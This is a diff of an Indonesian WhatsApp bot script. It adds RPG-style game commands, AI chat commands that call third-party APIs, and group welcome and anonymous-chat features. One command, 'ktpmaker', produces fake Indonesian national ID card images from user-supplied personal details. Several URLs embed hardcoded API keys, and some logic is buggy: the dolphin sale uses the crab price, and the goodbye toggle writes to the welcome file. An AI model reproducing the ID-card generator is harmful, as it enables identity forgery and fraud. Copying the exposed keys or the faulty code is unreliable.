'lumba': + if (global.db.users[m.sender].lumba >= count * 1) { + global.db.users[m.sender].money += Skepiting * count + global.db.users[m.sender].lumba -= count * 1 + reply( `Sukses Menjual ${count} Lumba Lumba Dengan Harga ${Slumba * count} Money `.trim()) + } else reply( `Lumba Lumba Kamu Tidak Cukup`.trim()) + break + case 'paus': + if (global.db.users[m.sender].paus >= count * 1) { + global.db.users[m.sender].money += Spaus * count + global.db.users[m.sender].paus -= count * 1 + reply( `Sukses Menjual ${count} Paus Dengan Harga ${Spaus * count} Money `.trim()) + } else reply( `Paus Kamu Tidak Cukup`.trim()) + break + case 'lobster': + if (global.db.users[m.sender].lobster >= count * 1) { + global.db.users[m.sender].money += Slobster * count + global.db.users[m.sender].lobster -= count * 1 + reply( `Sukses Menjual ${count} Lobster Dengan Harga ${Slobster * count} Money `.trim()) + } else reply( `Lobster Kamu Tidak Cukup`.trim()) + break + case 'udang': + if (global.db.users[m.sender].udang >= count * 1) { + global.db.users[m.sender].money += Sudang * count + global.db.users[m.sender].udang -= count * 1 + reply( `Sukses Menjual ${count} Udang Dengan Harga ${Sudang * count} Money `.trim()) + } else reply( `Udang Kamu Tidak Cukup`.trim()) + break + case 'cumi': + if (global.db.users[m.sender].cumi >= count * 1) { + global.db.users[m.sender].money += Scumi * count + global.db.users[m.sender].cumi -= count * 1 + reply( `Sukses Menjual ${count} Cumi Dengan Harga ${Scumi * count} Money `.trim()) + } else reply( `Cumi Kamu Tidak Cukup`.trim()) + break + case 'botol': + if (global.db.users[m.sender].botol >= count * 1) { + global.db.users[m.sender].money += Sbotol * count + global.db.users[m.sender].botol -= count * 1 + reply( `Sukses Menjual ${count} Botol Dengan Harga ${Sbotol * count} Money `.trim()) + } else reply( `Botol Kamu Tidak Cukup`.trim()) + break + case 'kaleng': + if (global.db.users[m.sender].kaleng >= count * 1) { + global.db.users[m.sender].money += Skaleng * count + global.db.users[m.sender].kaleng -= count * 1 + reply( `Sukses Menjual ${count} Kaleng Dengan Harga ${Skaleng * count} Money `.trim()) + } else reply( `Kaleng Kamu Tidak Cukup`.trim()) + break + case 'kardus': + if (global.db.users[m.sender].kardus >= count * 1) { + global.db.users[m.sender].money += Skardus * count + global.db.users[m.sender].kardus -= count * 1 + reply( `Sukses Menjual ${count} Kardus Dengan Harga ${Skardus * count} Money `.trim()) + } else reply( `Kardus Kamu Tidak Cukup`.trim()) + break + case 'gelas': + if (global.db.users[m.sender].gelas >= count * 1) { + global.db.users[m.sender].money += Sgelas * count + global.db.users[m.sender].gelas -= count * 1 + reply( `Sukses Menjual ${count} Gelas Dengan Harga ${Sgelas * count} Money `.trim()) + } else reply( `Gelas Kamu Tidak Cukup`.trim()) + break + case 'plastik': + if (global.db.users[m.sender].plastik >= count * 1) { + global.db.users[m.sender].money += Splastik * count + global.db.users[m.sender].plastik -= count * 1 + reply( `Sukses Menjual ${count} Plastik Dengan Harga ${Splastik * count} Money `.trim()) + } else reply( `Plastik Kamu Tidak Cukup`.trim()) + break + default: + return m.reply(Kchat) + } + } +} catch (err) { +console.log(util.format(err)) +let e = String(err) +XeonBotInc.sendMessage("6285892928715@s.whatsapp.net", { text: "Hello developer, there seems to be an error, please fix it " + util.format(e), +contextInfo:{ +forwardingScore: 9999999, +isForwarded: true +}}) +} +} +break +//================================================================== +case 'ojek': { + if (!m.isGroup) return reply(mess.only.group) +function clockString(ms) { + let h = Math.floor(ms / 3600000) + let m = Math.floor(ms / 60000) % 60 + let s = Math.floor(ms / 1000) % 60 + return [h, m, s].map(v => v.toString().padStart(2, 0)).join(':') +} + let __timers = (new Date - global.db.users[m.sender].lastmisi) + let _timers = (3600000 - __timers) + let order = global.db.users[m.sender].ojekk + let timers = clockString(_timers) + let name = XeonBotInc.getName(m.sender) + let user = global.db.users[m.sender] + let id = m.sender + let kerja = 'Ojek' + XeonBotInc.misi = XeonBotInc.misi ? XeonBotInc.misi: {} + if (id in XeonBotInc.misi) { + reply( `Selesaikan Misi ${XeonBotInc.misi[id][0]} Terlebih Dahulu`) + throw false + } + if (new Date - global.db.users[m.sender].lastmisi > 3600000) { + let randomaku4 = Math.floor(Math.random() * 10) + let randomaku5 = Math.floor(Math.random() * 10) + + let rbrb4 = (randomaku4 * 100000) + let rbrb5 = (randomaku5 * 1000) + + var dimas = ` +๐Ÿšถโฌ›โฌ›โฌ›โฌ›โฌ›โฌ›โฌ›โฌ›โฌ› +โฌ›โฌœโฌœโฌœโฌ›โฌœโฌœโฌœโฌ›โฌ› +โฌ›โฌ›โฌ›โฌ›โฌ›โฌ›โฌ›โฌ›โฌ›โฌ› +๐Ÿ˜๏ธ๐Ÿ˜๏ธ๐Ÿ˜๏ธ๐Ÿ˜๏ธ๐ŸŒณ ๐ŸŒณ ๐Ÿ˜๏ธ ๐Ÿ›ต +โœ”๏ธ Mendapatkan orderan.... +`.trim() + + var dimas2 = ` +๐Ÿšถ๐Ÿ›ตโฌ›โฌ›โฌ›โฌ›โฌ›โฌ›โฌ›โฌ› +โฌ›โฌœโฌœโฌœโฌ›โฌœโฌœโฌœโฌ›โฌ› +โฌ›โฌ›โฌ›โฌ›โฌ›โฌ›โฌ›โฌ›โฌ›โฌ› +๐Ÿ˜๏ธ๐Ÿ˜๏ธ๐Ÿ˜๏ธ๐Ÿ˜๏ธ๐ŸŒณ ๐ŸŒณ ๐Ÿ˜๏ธ +โž• Mengantar ke tujuan.... +`.trim() + + var dimas3 = ` +โฌ›โฌ›โฌ›โฌ›โฌ›โฌ›โฌ›โฌ›โฌ›โฌ› +โฌ›โฌœโฌœโฌ›โฌ›โฌœโฌœโฌœโฌ›โฌ› +โฌ›โฌ›โฌ›โฌ›โฌ›โฌ›โฌ›๐Ÿ›ตโฌ›โฌ› +๐Ÿ˜๏ธ๐Ÿ˜๏ธ๐Ÿ˜๏ธ๐Ÿ˜๏ธ๐ŸŒณ ๐ŸŒณ ๐Ÿ˜๏ธ +โž• Sampai di tujuan.... +`.trim() + + var dimas4 = ` +โฌ›โฌ›โฌ›โฌ›โฌ›โฌ›โฌ›โฌ›โฌ›โฌ› +โฌ›โฌœโฌœโฌ›โฌ›โฌœโฌœโฌœโฌ›โฌ› +โฌ›โฌ›โฌ›โฌ›โฌ›โฌ›โฌ›๐Ÿ›ตโฌ›โฌ› +๐Ÿ˜๏ธ๐Ÿ˜๏ธ๐Ÿ˜๏ธ๐Ÿ˜๏ธ๐ŸŒณ ๐ŸŒณ ๐Ÿ˜๏ธ ๐Ÿšถ +โž• ๐Ÿ’นMenerima gaji.... +`.trim() + + var hsl = ` +*โ€”[ Hasil Ngojek ${name} ]โ€”* +โž• ๐Ÿ’น Uang = [ ${rbrb4} ] +โž• โœจ Exp = [ ${rbrb5} ] +โž• ๐Ÿ˜ Order Selesai = +1 +โž• ๐Ÿ“ฅTotal Order Sebelumnya : ${order} +`.trim() + + user.money += rbrb4 + user.exp += rbrb5 + user.ojekk += 1 + + XeonBotInc.misi[id] = [ + kerja, + setTimeout(() => { + delete XeonBotInc.misi[id] + }, 27000) + ] + + setTimeout(() => { + m.reply(hsl) + }, 27000) + + setTimeout(() => { + m.reply(dimas4) + }, 25000) + + setTimeout(() => { + m.reply(dimas3) + }, 20000) + + setTimeout(() => { + m.reply(dimas2) + }, 15000) + + setTimeout(() => { + m.reply(dimas) + }, 10000) + + setTimeout(() => { + m.reply('๐Ÿ”Mencari pelanggan.....') + }, 0) + user.lastmisi = new Date * 1 + } else m.reply(`Silahkan Menunggu Selama ${timers}, Untuk Menyelesaikan Misi Kembali`) } break - case 'react': { - if (!XeonTheCreator) return XeonStickOwner() - reactionMessage = { - react: { - text: args[0], - key: { remoteJid: m.chat, fromMe: true, id: quoted.id } - } - } - XeonBotInc.sendMessage(m.chat, reactionMessage) +//================================================================== +case 'maling': { + if (!m.isGroup) return reply(mess.only.group) +function msToTime(duration) { + var milliseconds = parseInt((duration % 1000) / 100), + seconds = Math.floor((duration / 1000) % 60), + minutes = Math.floor((duration / (1000 * 60)) % 60), + hours = Math.floor((duration / (1000 * 60 * 60)) % 24) + + + hours = (hours < 10) ? "0" + hours : hours + minutes = (minutes < 10) ? "0" + minutes : minutes + seconds = (seconds < 10) ? "0" + seconds : seconds + + return hours + " jam " + minutes + " menit " + seconds + " detik" +} +const timeout = 604800000 + + let user = db.users[m.sender] + let time = user.lastmaling + 604800000 + if (new Date - user.lastmaling< 604800000) return m.reply(`๐Ÿ“ฎAnda sudah merampok bank\nTunggu selama โฒ๏ธ ${msToTime(time - new Date())} lagi`) + let money = `${Math.floor(Math.random() * 30000)}`.trim() + let exp = `${Math.floor(Math.random() * 999)}`.trim() + let kardus = `${Math.floor(Math.random() * 1000)}`.trim() + user.money += money * 1 + user.exp += exp * 1 + user.kardus += kardus * 1 + user.lastmaling = new Date * 1 + m.reply(`Selamat kamu mendapatkan : \n๐Ÿ’ฐ+${money} Money\๐Ÿ“ฆ+${kardus} Kardus\nโœจ+${exp} Exp`) + setTimeout(() => { + reply(`Yuk waktunya Maling lagi ๐Ÿ‘‹โ€ฆ`) + }, timeout) +} +break +//================================================================== +case 'mancing': { + if (!m.isGroup) return reply(mess.only.group) +function clockString(ms) { + let h = Math.floor(ms / 3600000) + let m = Math.floor(ms / 60000) % 60 + let s = Math.floor(ms / 1000) % 60 + return [h, m, s].map(v => v.toString().padStart(2, 0) ).join(':') +} + let __timers = (new Date - global.db.users[m.sender].lastmisi) + let _timers = (3600000 - __timers) + let timers = clockString(_timers) + let name = XeonBotInc.getName(m.sender) + let user = global.db.users[m.sender] + let id = m.sender + let kerja = 'Memancing' + XeonBotInc.misi = XeonBotInc.misi ? XeonBotInc.misi : {} + if (id in XeonBotInc.misi) { + reply(`Selesaikan Misi ${XeonBotInc.misi[id][0]} Terlebih Dahulu`) + throw false + } + if (user.umpan == 0) return m.reply('Kamu Membutuhkan Umpan ๐Ÿชฑ Untuk Memancing!') + if (user.fishingrod == 0 ) return m.reply('Kamu Harus Mempunyai Fishingrod ๐ŸŽฃ Terlebih Dahulu Jika Ingin Memancing') + if (new Date - user.lastmisi > 3600000) { + let ikan1 = Math.floor(Math.random() * 5) + let ikan2 = Math.floor(Math.random() * 5) + let ikan3 = Math.floor(Math.random() * 5) + let ikan4 = Math.floor(Math.random() * 5) + let ikan5 = Math.floor(Math.random() * 5) + let ikan6 = Math.floor(Math.random() * 5) + let ikan7 = Math.floor(Math.random() * 5) + let ikan8 = Math.floor(Math.random() * 5) + let ikan9 = Math.floor(Math.random() * 5) + let ikan10 = Math.floor(Math.random() * 5) + let ikan11 = Math.floor(Math.random() * 5) + + let hsl = ` +*๐Ÿ“ฎ Hasil tangkapan Mu* +${ikan1 ? ` +๐Ÿฆ€ Kepiting: ${ikan1}` : ''} ${ikan2 ? ` +๐Ÿฆž Lobster: ${ikan2}` : ''} ${ikan3 ? ` +๐Ÿฆ Udang: ${ikan3}` : ''} ${ikan4 ? ` +๐Ÿฆ‘ Cumi: ${ikan4}` : ''} ${ikan5 ? ` +๐Ÿ™ Gurita: ${ikan5}` : ''} ${ikan6 ? ` +๐Ÿก Buntal: ${ikan6}` : ''} ${ikan7 ? ` +๐Ÿ  Dory: ${ikan7}` : ''} ${ikan8 ? ` +๐Ÿณ Orca: ${ikan8}` : ''} ${ikan9 ? ` +๐Ÿฌ Lumba: ${ikan9}` : ''} ${ikan10 ? ` +๐Ÿ‹ Paus: ${ikan10}` : ''} ${ikan11 ? ` +๐Ÿฆˆ Hiu: ${ikan11}` : ''} +`.trim() + user.kepiting += ikan1 + user.lobster += ikan2 + user.udang += ikan3 + user.cumi += ikan4 + user.gurita += ikan5 + user.buntal += ikan6 + user.dory += ikan7 + user.orca += ikan8 + user.lumba += ikan9 + user.paus += ikan10 + user.hiu += ikan11 + user.fishingroddurability -= 10 + user.umpan -= 1 + + XeonBotInc.misi[id] = [ + kerja, + setTimeout(() => { + delete XeonBotInc.misi[id] + }, 20000) + ] + + setTimeout(() => { + m.reply(hsl) + }, 20000) + + setTimeout(() => { + m.reply(`Ini Dia Hasil Tangkapanmu`) + }, 18000) + + setTimeout(() => { + m.reply('Kamu Berhasil Menarik Ikan Keluar Dari Air') + }, 15000) + + setTimeout(() => { + m.reply('Kamu Menarik Kailmu') + }, 12000) + + setTimeout(() => { + m.reply('Kail Mu Di Tarik Ikan...') + }, 9000) + + setTimeout(() => { + m.reply('Kamu Sedang Memancing...') + }, 0) + user.lastmisi = new Date * 1 + } else m.reply(`Mohon Tunggu Selama ${timers} Sebelum Memulai Misi Kembali`) +} +break + +//================================================================== +case 'nguli': { + if (!m.isGroup) return reply(mess.only.group) + if (new Date - global.db.users[m.sender].lastnguli > 86400000) { + global.db.users[m.sender].limit += 10 + m.reply('_๐ŸŽ‰Selamat kamu mendapatkan +10 limit_') + global.db.users[m.sender].lastnguli = new Date * 1 + } else m.reply('[๐Ÿ’ฌ] Anda sudah mengklaim upah nguli hari ini') + } +break +//================================================================== + case 'addcase': { + if (!XeonTheCreator) return XeonStickOwner() + if (!text) return replygcxeon('Mana case nya'); + const fs = require('fs'); +// Nama file yang akan dimodifikasi +const namaFile = 'XeonCheems8.js'; + +// Kode case baru yang ingin Anda tambahkan +const caseBaru = `${text}`; + +// Baca isi file +fs.readFile(namaFile, 'utf8', (err, data) => { + if (err) { + console.error('Terjadi kesalahan saat membaca file:', err); + return; + } + + // Cari posisi awal dari kumpulan case 'gimage' + const posisiAwalGimage = data.indexOf("case 'addcase':"); + + if (posisiAwalGimage !== -1) { + // Tambahkan case baru tepat di atas case 'gimage' + const kodeBaruLengkap = data.slice(0, posisiAwalGimage) + '\n' + caseBaru + '\n' + data.slice(posisiAwalGimage); + + // Tulis kembali file dengan case baru + fs.writeFile(namaFile, kodeBaruLengkap, 'utf8', (err) => { + if (err) { + replygcxeon('Terjadi kesalahan saat menulis file:', err); + } else { + replygcxeon('Case baru berhasil ditambahkan di atas case gimage.'); } + }); + } else { + replygcxeon('Tidak dapat menemukan case gimage dalam file.'); + } +}); + +} +break; + + + // Case-case lainnya + +//================================================================== +case 'annyeong': { + reply('nee anyeong chinguyaa') +} +break + +case 'anyeong': { + reply('nee anyeong chinguyaa') +} +break +case 'bot': { + reply('Sopo Botz Aktif boss...') +} +break + +case 'p': { + reply('gak punya agama ya') +} +break +//================================================================== +case 'aivo': { + if (!text) return replygcxeon(`Example : ${command} siapa jokowi`); + reply(mess.wait) + let data = await fetchJson(`https://kiicodeofficial.my.id/api/ai/bard2?query=${text}&apikey=Dzsyacans`); + if (data.data && data.data.result) { + const videoCaption = data.data.result + .replace(/\\n/g, '\n') + .replace(/\\/g, '') + .replace(/\n/g, '') + .replace(/\nn/g, '') + .replace(/\*/g, ''); + XeonBotInc.sendMessage(m.chat, { audio: { url: `https://api.lolhuman.xyz/api/gtts/id?apikey=haikalgans&text=${videoCaption}` }, mimetype: 'audio/mp4', ptt: true }, { quoted: m }); + } +} + break; + +//================================================================== +case 'bard': { +if (!text) return replygcxeon(`Example : ${command} siapakah elon musk`) +reply(mess.wait) +let data = await fetchJson(`https://kiicodeofficial.my.id/api/ai/bard2?query=${text}&apikey=Dzsyacans`); + if (data.data && data.data.result) { + const videoCaption = data.data.result + .replace(/\\n/g, '\n') + .replace(/\\/g, '') + .replace(/\n/g, '') + .replace(/\nn/g, '') + .replace(/\*/g, ''); + reply(`${videoCaption}`) + } +} + break +//================================================================== +case 'ai': case 'openai': { + if (!text) return replygcxeon(`Example : ${command} siapakah elon musk`) + reply(mess.wait) +const data = await fetchJson(`https://skizo.tech/api/openai?text=${text}&apikey=dzsyabotz`); +const aimsg = data.result + reply(`${aimsg}`) +} +break +//=========================================\\====== +case 'blackboxai': { +if (!text) return replygcxeon(`Example : ${command} siapakah elon musk`) + reply(mess.wait) +let data = await fetchJson(`https://kiicodeofficial.my.id/api/ai/blackbox?q=${encodeURIComponent(text)}&apikey=Dzsyacans`); +if (data.data && data.data.response) { + const aimsg = data.data.response; + reply(`${aimsg}`) +} +} +break +//=========================================\\====== +case 'cai': { + if (!text) return replygcxeon(`Example : ${command} siapakah elon musk`) +let data = await fetchJson(`https://kiicodeofficial.my.id/api/others/cai?q=${encodeURIComponent(text)}&text=Sopo&apikey=Dzsyacans`); +if (data.data && data.data.output) { + const caimsg = data.data.output; + reply(`${caimsg}`) +} +} +break +//=========================================\\====== +case 'sopo': { + if (!text) return reply(`Apa Boss...`) +let data = await fetchJson(`https://kiicodeofficial.my.id/api/others/cai?q=${encodeURIComponent(text)}&text=Sopo&apikey=Dzsyacans`); +if (data.data && data.data.output) { + const caimsg = data.data.output; + reply(`${caimsg}`) +} +} +break +//=========================================\\====== +case 'gptimg':{ + if (!text) return reply('mau cara foto apa kak') + reply(mess.wait) + let gptgg = await fetchJson(`https://kiicodeofficial.my.id/api/ai/gptpicture?q=${text}&apikey=Dzsyacans`); + const hasilnya = gptgg.data.data.imgs[0]; + XeonBotInc.sendMessage(m.chat, {image: {url: hasilnya }}, {quoted: m}) +} +break +//=========================================\\====== +case'mute':{ +if (!m.isGroup) return reply('Fitur Khusus Group!') +if (!isAdmins && !XeonTheCreator) return reply('Fitur Khusus admin!') +if (args[0] === "on") { +addCountCmd('#mute', m.sender, _cmd) +if (isMute) return reply(`Udah Mute`) +mute.push(m.chat) +fs.writeFileSync('./database/mute.json', JSON.stringify(mute, null, 2)) +reply('Successfully Mute In This Group') +} +else if (args[0] === "off") { +addCountCmd('#mute', m.sender, _cmd) +if (!isMute) return reply(`Udah Unmute`) +let anu = mute.indexOf(m.chat) +mute.splice(anu, 1) +fs.writeFileSync('./database/mute.json', JSON.stringify(mute, null, 2)) +reply('Successfully Unmute In This Group') +}else { +reply(`${prefix+command} on -- _mengaktifkan_\n${prefix+command} off -- _Menonaktifkan_`) +}} +break +//=========================================\\====== +case'autoaigrup':case "aigrup": case'autoaigc':{ +if (!m.isGroup) return reply('Fitur Khusus Group!') +if (!isAdmins && !XeonTheCreator) return reply('Fitur Khusus admin!') +if (args[0] === "on") { +addCountCmd('#autoaigrup', m.sender, _cmd) +if (isAutoAiGc) return reply(`Udah aktif`) +openaigc.push(m.chat) +fs.writeFileSync('./database/openaigc.json', JSON.stringify(openaigc, null, 2)) +reply('Successfully Activate Auto AI') +} else if (args[0] === "off") { +addCountCmd('#autoaigrup', m.sender, _cmd) +if (!isAutoAiGc) return reply(`Udah nonaktif`) +let anu = openaigc.indexOf(m.chat) +openaigc.splice(anu, 1) +fs.writeFileSync('./database/openaigc.json', JSON.stringify(openaigc, null, 2)) +reply('Successfully Disabling Auto AI') +} else { +reply(`${prefix+command} on -- _mengaktifkan_\n${prefix+command} off -- _Menonaktifkan_`) +}} +break +//=========================================\\====== +case'welcome': +if (!m.isGroup) return reply('Fitur Khusus Group!') +if (!isAdmins && !XeonTheCreator) return reply('Fitur Khusus admin!') +if (args[0] === "on") { +addCountCmd('#welcome', m.sender, _cmd) +if (isWelcome) return reply(`Udah on`) +_welcome.push(m.chat) +fs.writeFileSync('./database/welcome.json', JSON.stringify(_welcome, null, 2)) +reply('Sukses mengaktifkan welcome di grup ini') +} else if (args[0] === "off") { +addCountCmd('#welcome', m.sender, _cmd) +if (!isWelcome) return reply(`Udah off`) +let anu = _welcome.indexOf(m.chat) +_welcome.splice(anu, 1) +fs.writeFileSync('./database/welcome.json', JSON.stringify(_welcome, null, 2)) +reply('Sukses menonaktifkan welcome di grup ini') +} else { +reply(`${prefix+command} on -- _mengaktifkan_\n${prefix+command} off -- _Menonaktifkan_`) +} +break +case'left': case 'goodbye': +if (!m.isGroup) return reply('Fitur Khusus Group!') +if (!isAdmins && !XeonTheCreator) return reply('Fitur Khusus admin!') +if (args[0] === "on") { +addCountCmd('#left', m.sender, _cmd) +if (isLeft) return reply(`Udah on`) +_left.push(m.chat) +fs.writeFileSync('./database/left.json', JSON.stringify(_left, null, 2)) +reply('Sukses mengaktifkan goodbye di grup ini') +} else if (args[0] === "off") { +addCountCmd('#left', m.sender, _cmd) +if (!isLeft) return reply(`Udah off`) +let anu = _left.indexOf(m.chat) +_left.splice(anu, 1) +fs.writeFileSync('./database/welcome.json', JSON.stringify(_left, null, 2)) +reply('Sukses menonaktifkan goodbye di grup ini') +} else { +reply(`${prefix+command} on -- _mengaktifkan_\n${prefix+command} off -- _Menonaktifkan_`) +} +break +case'setwelcome': +if (!m.isGroup) return reply('Fitur Khusus Group!') +if (!XeonTheCreator && !isAdmins) return reply('Fitur Khusus owner!') +if (!text) return reply(`Gunakan dengan cara ${prefix+command} *teks_welcome*\n\n_Contoh_\n\n${prefix+command} Halo @user, Selamat datang di @group`) +if (isSetWelcome(m.chat, set_welcome_db)) return reply(`Set welcome already active`) +addSetWelcome(text, m.chat, set_welcome_db) +addCountCmd('#setwelcome', m.sender, _cmd) +reply(`Successfully set welcome!`) +break +case'changewelcome': +if (!m.isGroup) return reply('Fitur Khusus Group!') +if (!XeonTheCreator && !isAdmins) return reply('Fitur Khusus owner!') +if (!text) return reply(`Gunakan dengan cara ${prefix+command} *teks_welcome*\n\n_Contoh_\n\n${prefix+command} Halo @user, Selamat datang di @group`) +if (isSetWelcome(m.chat, set_welcome_db)) { +addCountCmd('#changewelcome', m.sender, _cmd) +changeSetWelcome(q, m.chat, set_welcome_db) +reply(`Sukses change set welcome teks!`) +} else { +addCountCmd('#changewelcome', m.sender, _cmd) +addSetWelcome(q, m.chat, set_welcome_db) +reply(`Sukses change set welcome teks!`) +} +break +case'delsetwelcome': +if (!m.isGroup) return reply('Fitur Khusus Group!') +if (!XeonTheCreator && !isAdmins) return reply('Fitur Khusus owner!') +if (!isSetWelcome(m.chat, set_welcome_db)) return reply(`Belum ada set welcome di sini..`) +removeSetWelcome(m.chat, set_welcome_db) +addCountCmd('#delsetwelcome', m.sender, _cmd) +reply(`Sukses delete set welcome`) +break +case'setleft': +if (!m.isGroup) return reply('Fitur Khusus Group!') +if (!XeonTheCreator && !isAdmins) return reply('Fitur Khusus owner!') +if (!text) return reply(`Gunakan dengan cara ${prefix + command} *teks_left*\n\n_Contoh_\n\n${prefix + command} Halo @user, Selamat tinggal dari @group`) +if (isSetLeft(m.chat, set_left_db)) return reply(`Set left already active`) +addCountCmd('#setleft', m.sender, _cmd) +addSetLeft(q, m.chat, set_left_db) +reply(`Successfully set left!`) +break +case'changeleft': +if (!m.isGroup) return reply('Fitur Khusus Group!') +if (!XeonTheCreator && !isAdmins) return reply('Fitur Khusus owner!') +if (!text) return reply(`Gunakan dengan cara ${prefix + command} *teks_left*\n\n_Contoh_\n\n${prefix + command} Halo @user, Selamat tinggal dari @group`) +if (isSetLeft(m.chat, set_left_db)) { +addCountCmd('#changeleft', m.sender, _cmd) +changeSetLeft(q, m.chat, set_left_db) +reply(`Sukses change set left teks!`) +} else { +addCountCmd('#changeleft', m.sender, _cmd) +addSetLeft(q, m.chat, set_left_db) +reply(`Sukses change set left teks!`) +} +break +case'delsetleft': +if (!m.isGroup) return reply('Fitur Khusus Group!') +if (!XeonTheCreator && !isAdmins) return reply('Fitur Khusus owner!') +if (!isSetLeft(m.chat, set_left_db)) return reply(`Belum ada set left di sini..`) +addCountCmd('#delsetleft', m.sender, _cmd) +removeSetLeft(m.chat, set_left_db) +reply(`Sukses delete set left`) +break +//=========================================\\====== + +//=========================================\\====== +case 'ktpmaker': { +if (args.length == 0) return reply(`*Pengunaan :*\n${prefix+command} Nik|Provinsi|Kabupaten|Nama|TempatTanggalLahir|JenisKel|Alamat|RtRw|KelDesa|Kecamatan|Agama|Statu|Pekerjaan|Region|Berlaku|golongan darah\n\n${prefix+command} 35567778995|Provinsi Jawa Barat|Kabupaten Bekasi|jebeh Store|Bekasi |Laki-Laki|Bintara Jaya|02/05|Karang Indah|Bekasi Barat|Islam|Jomblo|anakjebeh|Indonesia|2021-2080|abc \n\n*[warning]*\nsetiap input query setelah garis tengah | di larang penggunaan spasi\n*ใ€Œ INFO IMAGE ใ€*\nUntuk Gambar Profil KTP\nUpload Dari Web Berikut Ini\n\nhttps://i.waifu.pics\nhttps://c.top4top.io\n\nCONTOH HASIL NYA\nhttps://i.ibb.co/qrQX5DC/IMG-20220401-WA0084.jpg\nhttps://k.top4top.io/p_2208264hn0.jpg`) +reply(mess.wait) +let get_args = args.join(" ").split("|") +let nik = get_args[0] +if (!nik) return m.reply('nomor induk keluaga kak pastikan jangan mirip NIK yang asli ya') +let prov = get_args[1] +if (!prov) return m.reply('provinsi mana kak') +let kabu = get_args[2] +if (!kabu) return m.reply('kabupaten mana kak') +let name = get_args[3] +if (!name) return m.reply('nama nya siapa kak') +let ttl = get_args[4] +if (!ttl) return m.reply('tempat tanggal lahir nya kak') +let jk = get_args[5] +if (!jk) return m.reply('jenis kelamin pria atau wanita kak') +let jl = get_args[6] +if (!jl) return m.reply('alamat rumah nya mana kak') +let rtrw = get_args[7] +if (!rtrw) return m.reply('RT / RW berapa kak') +let lurah = get_args[8] +if (!lurah) return m.reply('kelurahan mana kak') +let camat = get_args[9] +if (!camat) return m.reply('kecamatan mana kak') +let agama = get_args[10] +if (!agama) return m.reply('agama nya apa kak') +let nikah = get_args[11] +if (!nikah) return m.reply('status belum ada') +let kerja = get_args[12] +if (!kerja) return m.reply('pekerjaan belum ada') +let warga = get_args[13] +if (!warga) return m.reply('region belum ada') +let until = get_args[14] +if (!until) return m.reply('waktu berlaku belum ada') + XeonBotInc.sendMessage(m.chat, { image: {url: `https://api.lolhuman.xyz/api/ktpmaker?apikey=haikalgans&nik=${nik}&prov=${prov}&kabu=${kabu}&name=${name}&ttl=${ttl}&jk=${jk}&jl=${jl}&rtrw=${rtrw}&lurah=${lurah}&camat=${camat}&agama=${agama}&nikah=${nikah}&kerja=${kerja}&warga=${warga}&until=${until}&img=https://telegra.ph/file/2487220c98c7c4fb6f438.jpg`}, caption: 'nih ktp nya cok' }, { quoted: m }) +} +break +//=========================================\\====== +case 'report': { +replygcxeon(` =====[ *DEVELOPER OF DASZYA BOT* ]===== +โ€ข แดŠแด€ษดษขแด€ษด แด„สœแด€แด› ๊œฑแด‡แดส™แด€ส€แด€ษดษขแด€ษด แด‹แด‡ ษดแดแดแดส€ แดแดกษดแด‡ส€ แดแด€แด‹แด€ แด€แด‹แด€ษด แดแด›แดแดแด€แด›ษช๊œฑ แด…ษช ส™สŸแดแด‹ษชส€ +โ€ข แดŠแด€ษดษขแด€ษด แด„แด€สŸสŸ/แด›แด‡สŸแด‡แด˜แดษด แดแดกษดแด‡ส€ แด›แด€ษดแด˜แด€ ษชแดขษชษด โ€ข แด„สœแด€แด› สŸแด€ษดษข๊œฑแดœษดษข แด‹แด‡ ษชษดแด›ษชษดสแด€ แด€แดŠแด€ , +โ€ข https://wa.me/6285892928715?text=Lapor+min+fitur+ada+yang+eror+kalo+bisa+di+perbaiki. +โŒ• โ™โ˜โ™โ™โ˜โ™โšโ™โ˜โ™โ™โšโ™โ˜โ™โ˜โ™โšโ™โ˜โ™โ™โšโ™โ˜โ™โ™โ˜โ™โšโ™โ˜ โŒ•",`) +} +break +//=========================================\\====== +case'sendprofile': case'sendprofil': +if (m.isGroup) return reply('Fitur Tidak Dapat Digunakan Untuk Group!') +this.anonymous = this.anonymous ? this.anonymous : {} +let romoe = Object.values(this.anonymous).find(room => room.check(m.sender)) +if (!romoe) { +reply(`โš ๏ธ Kamu belum pernah memulai chat!\n\n${prefix}start -- _Mencari partner_`) +//var teks = `โš ๏ธ Kamu belum pernah memulai chat!` +//await XeonBotInc.sendMessage(m.chat, { text: teks, footer: footxt, templateButtons: but }) +return false +} else { +let rms = Object.values(this.anonymous).find(room => [room.a, room.b].includes(m.sender) && room.state == "CHATTING") +var partnerJID = rms.other(m.sender) +var rees = await XeonBotInc.sendContact(partnerJID, [m.sender.split("@")[0]]) +XeonBotInc.sendMessage(m.chat, { text: 'โœ… Berhasil mengirim profil ke teman chat anda!' }, { quoted: m }) +XeonBotInc.sendMessage(partnerJID, { text: '๐Ÿ‘จ๐Ÿ‘ฉ Teman chat kamu memberikan kontak profil nya!' }, { quoted: rees }) +} +break +//=========================================\\====== +case 'anonymouschat': { +if (m.isGroup) return reply('Fitur Tidak Dapat Digunakan Untuk Group!') +reply(`Hi ${pushname} Welcome To Anonymous Chat\n\n${prefix}start -- _mencari partner_`) + } +break +//=========================================\\====== +case 'mulai': case 'start': { +if (m.isGroup) return reply('Fitur Tidak Dapat Digunakan Untuk Group!') +this.anonymous = this.anonymous ? this.anonymous : {} +if (Object.values(this.anonymous).find(room => room.check(m.sender))) { +reply(`Kamu Masih Berada Di dalam Sesi Anonymous\n\n${prefix}keluar -- _keluar dari sesi chat_`) +return false +} +let room = Object.values(this.anonymous).find(room => room.state === 'WAITING' && !room.check(m.sender)) +if (room) { +XeonBotInc.sendMessage(room.a, {text: `Berhasil Menemukan Partner, sekarang kamu dapat mengirim pesan\n\n${prefix}skip -- _mencari partner lain_\n${prefix}stop -- _menghentikan sesi chat_`}) +room.b = m.sender +room.state = 'CHATTING' +reply(`Berhasil Menemukan Partner, sekarang kamu dapat mengirim pesan\n\n${prefix}skip -- _mencari partner lain_\n${prefix}stop -- _menghentikan sesi chat_`) +} else { +let id = + new Date +this.anonymous[id] = { +id, +a: m.sender, +b: '', +state: 'WAITING', +check: function (who = '') { +return [this.a, this.b].includes(who) +}, +other: function (who = '') { +return who === this.a ? this.b : who === this.b ? this.a : '' +}, +} +reply(`Mohon Tunggu Sedang Mencari Partner`) +} +break +} +case 'next': case 'lanjut': { +if (m.isGroup) return reply('Fitur Tidak Dapat Digunakan Untuk Group!') +this.anonymous = this.anonymous ? this.anonymous : {} +let romeo = Object.values(this.anonymous).find(room => room.check(m.sender)) +if (!romeo) { +reply(`Kamu Sedang Tidak Berada Di Sesi Anonymous\n\n${prefix}start -- 